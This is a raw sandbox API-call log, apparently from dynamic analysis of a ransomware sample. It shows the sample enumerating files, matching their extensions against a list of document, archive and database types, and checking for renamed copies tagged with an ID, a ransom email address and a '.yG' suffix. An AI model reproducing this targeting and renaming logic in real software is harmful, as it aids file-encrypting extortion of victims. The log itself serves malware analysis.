	[0045.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.595] lstrlenW (lpString=".zip") returned 4
	[0045.595] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.595] lstrlenW (lpString=".rar") returned 4
	[0045.595] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".bz2") returned 4
	[0045.596] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".7z") returned 3
	[0045.596] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.596] lstrlenW (lpString=".dbf") returned 4
	[0045.596] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.596] lstrlenW (lpString=".1cd") returned 4
	[0045.596] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.596] lstrlenW (lpString=".jpg") returned 4
	[0045.596] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.596] lstrlenW (lpString=".doc") returned 4
	[0045.596] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".docx") returned 5
	[0045.596] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0045.596] lstrlenW (lpString=".pdf") returned 4
	[0045.596] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".xls") returned 4
	[0045.596] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".xlsx") returned 5
	[0045.596] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0045.596] lstrlenW (lpString=".ppt") returned 4
	[0045.596] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.596] lstrlenW (lpString=".zip") returned 4
	[0045.596] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".rar") returned 4
	[0045.596] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".bz2") returned 4
	[0045.596] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.596] lstrlenW (lpString=".7z") returned 3
	[0045.596] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.597] lstrlenW (lpString=".dbf") returned 4
	[0045.597] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.597] lstrlenW (lpString=".1cd") returned 4
	[0045.597] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0045.597] lstrlenW (lpString=".jpg") returned 4
	[0045.597] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.597] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.597] lstrlenW (lpString="boxed-join.avi") returned 14
	[0045.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.837] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=46622) returned 1
	[0045.837] CloseHandle (hObject=0x2e0) returned 1
	[0045.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0045.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.837] lstrlenW (lpString=".doc") returned 4
	[0045.837] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".docx") returned 5
	[0045.838] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0045.838] lstrlenW (lpString=".pdf") returned 4
	[0045.838] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".xls") returned 4
	[0045.838] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".xlsx") returned 5
	[0045.838] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0045.838] lstrlenW (lpString=".ppt") returned 4
	[0045.838] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.838] lstrlenW (lpString=".zip") returned 4
	[0045.838] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".rar") returned 4
	[0045.838] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".bz2") returned 4
	[0045.838] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".7z") returned 3
	[0045.838] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.838] lstrlenW (lpString=".dbf") returned 4
	[0045.838] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.838] lstrlenW (lpString=".1cd") returned 4
	[0045.838] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.838] lstrlenW (lpString=".jpg") returned 4
	[0045.838] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.838] lstrlenW (lpString=".doc") returned 4
	[0045.838] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".docx") returned 5
	[0045.838] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0045.838] lstrlenW (lpString=".pdf") returned 4
	[0045.838] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.838] lstrlenW (lpString=".xls") returned 4
	[0045.839] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.839] lstrlenW (lpString=".xlsx") returned 5
	[0045.839] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0045.839] lstrlenW (lpString=".ppt") returned 4
	[0045.839] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.839] lstrlenW (lpString=".zip") returned 4
	[0045.839] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.839] lstrlenW (lpString=".rar") returned 4
	[0045.839] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.839] lstrlenW (lpString=".bz2") returned 4
	[0045.839] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.839] lstrlenW (lpString=".7z") returned 3
	[0045.839] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.839] lstrlenW (lpString=".dbf") returned 4
	[0045.839] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.839] lstrlenW (lpString=".1cd") returned 4
	[0045.839] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0045.839] lstrlenW (lpString=".jpg") returned 4
	[0045.839] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.839] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.840] lstrlenW (lpString="split.avi") returned 9
	[0045.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.855] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=181964) returned 1
	[0045.855] CloseHandle (hObject=0x2e0) returned 1
	[0045.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20
	[0045.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.856] lstrlenW (lpString=".doc") returned 4
	[0045.856] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString=".docx") returned 5
	[0045.856] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.856] lstrlenW (lpString=".pdf") returned 4
	[0045.856] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString=".xls") returned 4
	[0045.856] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString=".xlsx") returned 5
	[0045.856] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.856] lstrlenW (lpString=".ppt") returned 4
	[0045.856] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.856] lstrlenW (lpString=".zip") returned 4
	[0045.856] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString=".rar") returned 4
	[0045.856] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString=".bz2") returned 4
	[0045.856] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString=".7z") returned 3
	[0045.856] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.856] lstrlenW (lpString=".dbf") returned 4
	[0045.856] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.856] lstrlenW (lpString=".1cd") returned 4
	[0045.856] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.856] lstrlenW (lpString=".jpg") returned 4
	[0045.856] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.856] lstrlenW (lpString=".doc") returned 4
	[0045.856] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.856] lstrlenW (lpString=".docx") returned 5
	[0045.856] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.856] lstrlenW (lpString=".pdf") returned 4
	[0045.857] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.857] lstrlenW (lpString=".xls") returned 4
	[0045.857] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.857] lstrlenW (lpString=".xlsx") returned 5
	[0045.857] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.857] lstrlenW (lpString=".ppt") returned 4
	[0045.857] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.857] lstrlenW (lpString=".zip") returned 4
	[0045.857] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.857] lstrlenW (lpString=".rar") returned 4
	[0045.857] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.857] lstrlenW (lpString=".bz2") returned 4
	[0045.857] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.857] lstrlenW (lpString=".7z") returned 3
	[0045.857] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.857] lstrlenW (lpString=".dbf") returned 4
	[0045.857] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.857] lstrlenW (lpString=".1cd") returned 4
	[0045.857] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0045.857] lstrlenW (lpString=".jpg") returned 4
	[0045.857] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.857] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.857] lstrlenW (lpString="auxbase.xml") returned 11
	[0045.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.987] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1434) returned 1
	[0045.987] CloseHandle (hObject=0x334) returned 1
	[0045.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0045.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.987] lstrlenW (lpString=".doc") returned 4
	[0045.987] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.987] lstrlenW (lpString=".docx") returned 5
	[0045.987] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.987] lstrlenW (lpString=".pdf") returned 4
	[0045.987] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.987] lstrlenW (lpString=".xls") returned 4
	[0045.988] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString=".xlsx") returned 5
	[0045.988] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.988] lstrlenW (lpString=".ppt") returned 4
	[0045.988] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.988] lstrlenW (lpString=".zip") returned 4
	[0045.988] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.988] lstrlenW (lpString=".rar") returned 4
	[0045.988] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString=".bz2") returned 4
	[0045.988] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString=".7z") returned 3
	[0045.988] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.988] lstrlenW (lpString=".dbf") returned 4
	[0045.988] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.988] lstrlenW (lpString=".1cd") returned 4
	[0045.988] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.988] lstrlenW (lpString=".jpg") returned 4
	[0045.988] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.988] lstrlenW (lpString=".doc") returned 4
	[0045.988] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString=".docx") returned 5
	[0045.988] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.988] lstrlenW (lpString=".pdf") returned 4
	[0045.988] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString=".xls") returned 4
	[0045.988] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString=".xlsx") returned 5
	[0045.988] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.988] lstrlenW (lpString=".ppt") returned 4
	[0045.988] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.989] lstrlenW (lpString=".zip") returned 4
	[0045.989] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.989] lstrlenW (lpString=".rar") returned 4
	[0045.989] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.989] lstrlenW (lpString=".bz2") returned 4
	[0045.989] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.989] lstrlenW (lpString=".7z") returned 3
	[0045.989] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.989] lstrlenW (lpString=".dbf") returned 4
	[0045.989] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.989] lstrlenW (lpString=".1cd") returned 4
	[0045.989] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0045.989] lstrlenW (lpString=".jpg") returned 4
	[0045.989] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.989] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.989] lstrlenW (lpString="base_heb.xml") returned 12
	[0045.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0046.342] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=738) returned 1
	[0046.342] CloseHandle (hObject=0x304) returned 1
	[0046.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20
	[0046.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.342] lstrlenW (lpString=".doc") returned 4
	[0046.342] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.342] lstrlenW (lpString=".docx") returned 5
	[0046.342] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0046.342] lstrlenW (lpString=".pdf") returned 4
	[0046.342] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.342] lstrlenW (lpString=".xls") returned 4
	[0046.342] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.342] lstrlenW (lpString=".xlsx") returned 5
	[0046.342] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0046.343] lstrlenW (lpString=".ppt") returned 4
	[0046.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.343] lstrlenW (lpString=".zip") returned 4
	[0046.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.343] lstrlenW (lpString=".rar") returned 4
	[0046.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString=".bz2") returned 4
	[0046.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString=".7z") returned 3
	[0046.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.343] lstrlenW (lpString=".dbf") returned 4
	[0046.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.343] lstrlenW (lpString=".1cd") returned 4
	[0046.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.343] lstrlenW (lpString=".jpg") returned 4
	[0046.343] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82
	[0046.343] lstrlenW (lpString=".doc") returned 4
	[0046.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString=".docx") returned 5
	[0046.343] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0046.343] lstrlenW (lpString=".pdf") returned 4
	[0046.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString=".xls") returned 4
	[0046.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.343] lstrlenW (lpString=".xlsx") returned 5
	[0046.343] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0046.343] lstrlenW (lpString=".ppt") returned 4
